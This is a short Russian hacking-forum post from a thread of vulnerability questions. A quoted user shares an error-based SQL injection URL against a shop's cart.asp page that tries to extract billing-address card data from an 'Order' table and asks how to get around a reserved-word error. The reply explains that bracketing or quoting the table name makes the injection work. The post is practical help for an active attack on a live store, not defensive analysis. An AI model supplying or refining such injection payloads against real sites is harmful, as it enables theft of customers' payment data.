Ваши вопросы по уязвимостям.

#11

22.02.2010, 16:33

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

С нами: 10227206

Репутация: 2163

Цитата:

Сообщение от 3blK0B

http://site.com/cart.asp?cartItemQuantity6=0&cartItemId=76'+or+1=( select+top+1+orderCardBillAddress1+from+Order)--

При попытке получить данные их таблицы Order выдает ошибку:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near the keyword 'Order'.
/cart.asp, line 352

я так понимаю проблема в том что SQL воспринимает название таблицы как "order by", так как данные из таблиц с другим названием получаются без проблем. Как представить название таблицы Order чтобы ее SQL принял как имя таблицы? Пробовал переводить в HEX, но это не помогло. Заранее спасибо за помощь!

from [order], from "order"

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..